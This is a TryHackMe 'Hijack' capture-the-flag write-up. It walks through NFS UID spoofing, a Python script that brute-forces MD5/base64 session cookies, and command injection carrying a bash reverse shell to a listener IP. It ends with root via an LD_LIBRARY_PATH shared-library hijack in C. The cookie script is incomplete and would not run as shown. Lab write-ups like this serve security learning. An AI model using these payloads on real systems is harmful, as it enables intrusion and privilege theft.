Hijack Writeup - Tryhackme


4 min read

Hijack Writeup - Tryhackme

Photo by Tamas Pap on Unsplash


The Hijack box rated easy involved various attacks such as session hijack using cookie manipulation to privilege escalation by hijacking a share library.

1. Enumeration

Initial nmap scan showed 6 open ports which included

HTTP - 80
NFS  - 2049
FTP  - 21
SSH  - 22
RPC  - 111

I started off by mounting the NFS shares to my local machine.

sudo mount /tmp/share_hijack

upon mounting, the share seemed to be inaccessible to users other than those with UID 1003. So created a new local user with uid 1003.

useradd thm_user -u 1003

The share had a file which revealed the FTP credentials for 'ftpuser'.
Logged in to ftp, and retrieved two important files:

└──╼ $cat from_admin.txt 
To all employees, this is "admin" speaking,
i came up with a safe list of passwords that you all can use on the site, these passwords don't appear on any wordlist i tested so far, so i encourage you to use them, even me i'm using one of those.

NOTE To rick : good job on limiting login attempts, it works like a charm, this will prevent any future brute forcing.

(we understand that the admin has "admin" as username and there is a user named rick)

└──╼ $cat list_passwords.txt 

(one of them is the admin password)

2. Foothold

Upon logging in the webapp, and testing out various functionalities, found that the administration.php page is not accessible, and the cookie PHPSESSID is a base64 encoded text in format <username>:<MD5_password_hash>

Created a python script to FUZZ the cookie and get access to admin:


import hashlib
import base64
import requests

class hijack:
    def __init__(self, passfile, default_user):
        self.passfile = passfile
        self.default_user = default_user

    # method to create cookies in format (hashed) 
    def create_cookies(self):
        with open(self.passfile, 'r') as f:
            passes = [i.strip() for i in f.readlines()]
        pass_hashed = [hashlib.md5(j.encode()).hexdigest() for j in passes]

        for md5pass in pass_hashed:
        #list of cookies pass hashed and base64 encoded
        return final_cookies

print('-> creating cookies')
URL = ""
h = hijack('list_passwords.txt','admin')
cooks = h.create_cookies()

print('-> Attacking...')

# FUZZing
counter = 0
for c in cooks:
    cookies={'PHPSESSID':c }
    r = requests.get(URL, cookies=cookies)
    if 'Access denied' not in r.text:
        print('*'*10,"COOKIE FOUND:",c)

    print("Request no:",counter,end='\r')

I Found the cookie after 80 something requests, and got into the admin panel.

which showed a service status checker:
whatever service typed, got the following result:

* nginx.service
   Loaded: not-found (Reason: No such file or directory)
   Active: inactive (dead)

Tried to get command injection using tilde(`) operator.

`bash -c 'bash -i >& /dev/tcp/<MY_IP>/9001 0>&1'`

now the command inside the tildes will be executed first before calling the systemctl for statuscheck.

Listen to get the shell : nc -lvnp 9001

3. Privesc

Being rick:

Found rick's credentials from config.php, and could SU/SSH into rick with the same password (credential reuse).

check sudo permissions, found that we can execute the following:

rick@Hijack:/etc/apache2$ sudo -l
Matching Defaults entries for rick on Hijack:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,

User rick may run the following commands on Hijack:
    (root) /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2

Since there is a secure path i dont think there is anything we can do about path hijacking or manipulation. and almost all of the binaries are specified in fullpath.

Although we can notice the LD_LIBRARY_PATH, which can be a vector for privilege escalation.
LD_LIBRARY_PATH is the path to the directory containing shared libraries used by a binary.

" When a program is running, LD_PRELOAD loads a shared object before any others. By writing a simple script with init() function, it will help us execute code as soon as the object is loaded. "

First step is to check the shared libraries used by apache2 binary:

rick@Hijack:/tmp$ ldd /usr/sbin/apache2
    linux-vdso.so.1 =>  (0x00007ffdfcbd4000)
    libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007febc0b4d000)
    libaprutil-1.so.0 => /usr/lib/x86_64-linux-gnu/libaprutil-1.so.0 (0x00007febc0926000)
    libapr-1.so.0 => /usr/lib/x86_64-linux-gnu/libapr-1.so.0 (0x00007febc06f4000)
    libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007febc04d7000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007febc010d000)
    libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1 (0x00007febbfed5000)
    libexpat.so.1 => /lib/x86_64-linux-gnu/libexpat.so.1 (0x00007febbfcac000)
    libuuid.so.1 => /lib/x86_64-linux-gnu/libuuid.so.1 (0x00007febbfaa7000)
    libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007febbf8a3000)
    /lib64/ld-linux-x86-64.so.2 (0x00007febc1062000)


#include <stdio.h>
#include <stdlib.h>

// making the method a init method
static void privesc() __attribute__((constructor));

void privesc() {
    system("/bin/bash -p");

gcc -fPIC -shared -o /tmp/libexpat.so.1 hijack.c

The hijack.c file is compiled and placed in /tmp with a file name of one of the shared library we found from ldd command. Use the name of any other library if it doesn't work for you.


Run sudo

rick@Hijack:/tmp$ sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
/usr/sbin/apache2: /tmp/libcrypt.so.1: no version information available (required by /usr/lib/x86_64-linux-gnu/libaprutil-1.so.0)

root@Hijack:/tmp# whoami